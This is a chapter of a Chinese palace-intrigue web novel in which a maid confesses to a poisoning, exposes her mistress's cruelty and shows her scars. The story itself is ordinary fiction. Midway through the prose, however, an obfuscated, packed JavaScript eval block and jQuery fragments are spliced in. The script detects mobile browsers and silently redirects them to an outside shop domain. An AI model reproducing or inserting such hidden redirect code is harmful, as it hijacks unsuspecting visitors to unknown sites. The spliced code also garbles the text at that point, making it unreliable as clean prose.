谢苓话音一落,秦璇颇为赞赏的看了她一眼,正要附和,就听得忽然一声轻呵。
“曲荷,我还是太惯着你!”
“啪!”
众人看去,只见林华仪面带愠色,袖子上拿金线嵌着的东珠被扯了出来,地上还滚落着两颗。
曲荷跪伏在林华仪脚边,脸上一个鲜红的掌印,身若芦苇抖个不停。
乍一看,似乎是曲荷不小心拽掉了林华仪袖子上的东珠,林华仪生了气,正在责怪对方。
谢苓看着被拉扯出来的金线和垂落的东珠,细眉微蹙。
这衣裳上的金线十分细密,东珠上还有个小小的卡扣,应当是牢牢固定在袖子上的才对。
更何况林太师极其疼爱这个独女,做的衣裙只可能是精细昂贵的。
怎会轻易就扯出来?
林华仪是怕曲荷的慌张惹人怀疑,想找个由头谴她离开。
果不其然,林华仪用帕子掩唇咳嗽了几声,虚弱又无奈地挥了挥手道:“你不用在我跟前伺候了,回府去吧。”
曲荷如蒙大赦,叩头道谢后赶忙爬起来,低着头就要往外退。
谢苓没有阻止,玉白的指尖捏着帕子,垂眸默然不语。
她心里数着数儿,在曲荷一只脚迈过门槛的时候,秦璇说话了。
“等等,”秦璇双眸微眯,眼底透出的杀意有如实质,声音含了冰渣:“验完再走也不迟。”
“你说是吧,华仪妹妹。”
林华仪带着病气的脸一僵,随即点头笑道:“这是自然,郡主请便。”
曲荷僵硬地收回腿,脸上露出似哭非哭的神色,唇色发白,站在门口没有朝里走。
都是官宦出身,在场之人都看出了异常。
林华仪看曲荷这般没出息,脾气多多少少压不住了,语气有些重。
“曲荷,还愣着做什么?”
谢苓意味深长看了一眼林华仪,唇角带笑:“林姐姐莫要着急,这侍女或许是家里发生什么事了,有些心不在焉。”
“更何况也不可能是林姐姐的人做的,不然她哪敢坚持到现在还不认罪?”
说着她又看了眼谢珩,笑道:“毕竟堂兄可说了,若被查出来,是要受刑的。”
说完,秦璇在一旁沉着脸点头道:“是啊,华仪妹妹急什么?总之凶手也不会是这侍女,慢慢查也不急,有的是时间。”
谢苓柔声道:“郡主,我可否再求个恩典?”
秦璇不明白她的意思,想着左右也不会是什么大事,于是点了下头。
“你说。”
谢苓似笑非笑扫视一圈,目光幽幽落在曲荷身上,有恍若无事地收回。
“若是再不主动认罪,连坐了她的父母兄弟可好?”
此话一出,满堂皆惊。
一旁无聊看戏,有些不耐烦的余有年瞬间瞪大了一双乌黑的鹿眼。
秦璇也有些怔然。
唯独谢珩面色未变,依旧是冷淡疏离的模样。
秦璇心里转了几个弯,觉得谢苓此举虽毒,但确实有用。
但她总觉得谢苓不是只为了逼迫凶手主动出来这么简单。
“允了。”
秦璇刚应下,门边面若死灰的曲荷猛地抬起了头,缓缓看向林华仪。
待看到林华仪眼底阴郁狠毒的神色时,她眼里的最后一丝光也灭了,带上了浓浓的怨气。
曲荷推开了正要给验她的珍玉,大步上前,直挺挺跪在谢珩和秦璇面前。
“奴婢该死,是奴婢下得毒。”
琳琅恨恨看着这个差点害自己蒙冤的贱人,扶起了脸色同样冷沉的秦璇,看着曲荷道。
“我们郡主同你无冤无仇,你为何要算计?”
“是受了谁的指使?”
这意有所指的话让众人下意识看向林华仪。
只见她愣愣地看着曲荷,胸膛上下起伏的厉害,转而又捂着唇咳得撕心裂肺。
“曲荷,我一向同郡主要好,你为何会对郡主起了坏心?”
未听得曲荷回话,沉闷的屋内突然响起谢珩如冷泉般的嗓音:“拉下去,杖毙。”
不等众人反应过来,门外的黑甲卫已经推门进来,屋中间的侍女们被他们的冷煞之气吓到,赶忙避开。
黑甲卫二话不说就要押走曲荷,秦璇被谢珩的武断气到。
她冷呵一声:“慢着!”
侧眸睨着泰然自若的谢珩,一字一句道:“没本郡主允许,尔等胆敢擅作主张杀人?”
谢珩掀起凤眸,直对上秦璇的双目,虽未说话,但看得二人之间气氛紧张,称得上剑拔弩张。
谢苓也不打圆场,静默着等事态发展。
屋内静地只余雪拍窗棂的声响,以及微弱的呼吸声。
两大权势的下一任掌权人,无人敢触他们霉头,或者替其中一方说话。
僵持了许久,秦璇捏了捏眉心,放缓了语气:“谢大人,不是本郡主针对你,是此事有蹊跷,或许事关我长公主府的安危。”
一顶大帽子扣下来,谢珩虽有千般借口替林华仪开脱,可他觉得若是现下就跟长公主一脉有了龃龉,未免太过不值当。
他挥退了黑甲卫,漆眸看向静静端坐的谢苓,复又敛眸,终决定不再掺和。
曲荷瘫软在地上,用手拿出塞在嘴里的布子,许是差点命丧黄泉,她抖了许久才稳住了情绪。
她重新跪好,抬起手臂直指着林华仪道:“是林太师独女,林华仪小姐让我做的。”
话如惊雷,众人齐唰唰看向林华仪。
只见她单薄的身子晃了晃,不可置信地看着曲荷,声音哽咽:“曲荷,我自诩待你不薄,你为何如此陷害我?”
“我与郡主自幼一同长大,更是生死之交,我怎会害她?”
“苓妹妹不久前才来建康,我之前都不认得,又为何理由要害?”
本就坐在轮椅上,此时又一番梨花带雨模样,再者她之前在建康素有才女之名,故而有几个郎君起了怜香惜玉之心。
“华仪妹妹一向善良温柔,怎会害人?”
“我看是这刁奴害人不成,还想拉华仪妹妹下水。”
“……”
林华仪哭够了,用帕子沾了沾泪水,对对几个郎君投以感激的笑,引得几人红了脸。
她委屈地看向秦璇,却见对方神色莫辨地看着她,眸中有浓浓的失望。
林华仪心肝儿一颤。
按照以往,不管她惹得对方多气,她只要一提“生死之交”,对方就会软了心肠。
可这次,秦璇为何如此冷漠?
她想不通,只好看向谢珩,却见对方轻阖双眸,竟是看都不看她一眼。
林华仪咬了咬唇瓣,心下一片恨意,面上却作出无辜之色。
“郡主,曲荷她心思敏感,想必是那日我惹到了她,才招至今日之祸。”
秦璇冷冷看着她道:“那你说说,她怎么个心思敏感法?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972838|144997||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
林华仪被问住了,她一时说不出所以然来。
曲荷蓦然冷笑,充满怨念的目光看了眼林华仪,卷起了自己的袖子。
“奴婢来说,我到底心思‘敏感’在哪。”
那裸露出来的手臂,将在座的人都倒吸一口凉气,年纪小些的,不忍看第二眼——上面密密麻麻、蜈蚣一样的刀痕,还有着月牙样的白色伤疤高高隆起,一看就是有人用指甲狠狠掐出来的。
除此之外,上面还有新结了血痂的针眼,以及交错的青紫痕迹。
单一条手臂,就这么多伤痕,可想而知身上是何种骇人模样。
曲荷的声音幽幽响起。
“这些疤,全是拜这为‘菩萨心肠’、‘端庄淑女’的林小姐所赐。”
“她喜欢殴打吓人,最喜欢打年轻的小侍女。”
“不知各位贵人可曾发现,她身边的侍女换得很勤。”
“这些侍女有签契的百姓,也有奴籍的家生子。签契的死了,就告诉她的家人无意间暴毙,给几两银子安抚,若是有人不长眼闹事,那就给女儿陪葬。家生子若死了,那便是死了,随便拉到乱葬岗喂狗。”
曲荷拉起裤脚,小腿赫然是扭曲的形状。
“这是有次她打断了奴婢的腿,奴婢没钱看病,生生拖到骨头长歪,好在并不跛。”
“……”
断断续续的,曲荷说了很多,把林华仪的罪状一桩桩一件件数了出来。
谢苓抿唇听着,目光越来越冷。
她猜测林华仪苛待下人,却没想到如此恶毒。
她微微偏头看向谢珩,只见他的目光含冰,上挑的眼尾带出凌厉的弧度,薄唇抿着,下颌紧绷。
曲荷说完后,朝愣住的秦璇璇磕了几个响头,直到额头渗血。
她声声泣血:“求郡主帮我救救家人,他们都在林华仪手上!”
“奴婢愿意拿出林华仪害人的所有证据!”
说完,她依旧一个劲儿磕头。
直到秦璇叹了口气道:“你说的这样,要有证据才行,若是真的,本郡主会帮你安顿好家人。”
林华仪早就被这变故吓呆,本就苍白的小脸现在更是难看得吓人。
她心里还一直抱有侥幸,觉得说就说了,无凭无据的,爹爹会给她摆平。
可等曲荷说出有证据那一刻,她顿时头晕目眩。
林华仪一时着急,忘记了自己还有腿伤,一起身,就从轮椅上重重摔在地上。
她哭得不能自已,发髻狼狈得摔散了一半,盖住她往日温婉的脸。
“郡主,您要信华仪。”
“华仪怎么会是这种人?!”
秦璇皱了皱眉,叫愣住的侍女把林华仪扶起来,却没有搭她的话。
林华仪坐回了轮椅,却回不去刚进屋时的优雅贵气,而是满身沾了灰尘,发髻散乱,狼狈不堪。
曲荷停下动作,抬起头来看着林华仪,见她也有恐惧害怕的时候,心中弥漫出一股解气的感觉。
她看向秦璇道:“郡主,奴婢怕叫有心之人听了去,您能让珍玉姐姐过来吗?”
秦璇点头应了,珍玉走到曲荷跟前,俯下身,侧耳去听。
不一会,她便直起身子朝秦璇点头,走到对方跟前低语了几句。
秦璇听完后,对这此事已经心里有了数。
她思索了一番,忽然看向谢苓和谢珩,语气耐人寻味:“苓妹妹,此事……交给你和谢大人办,如何?”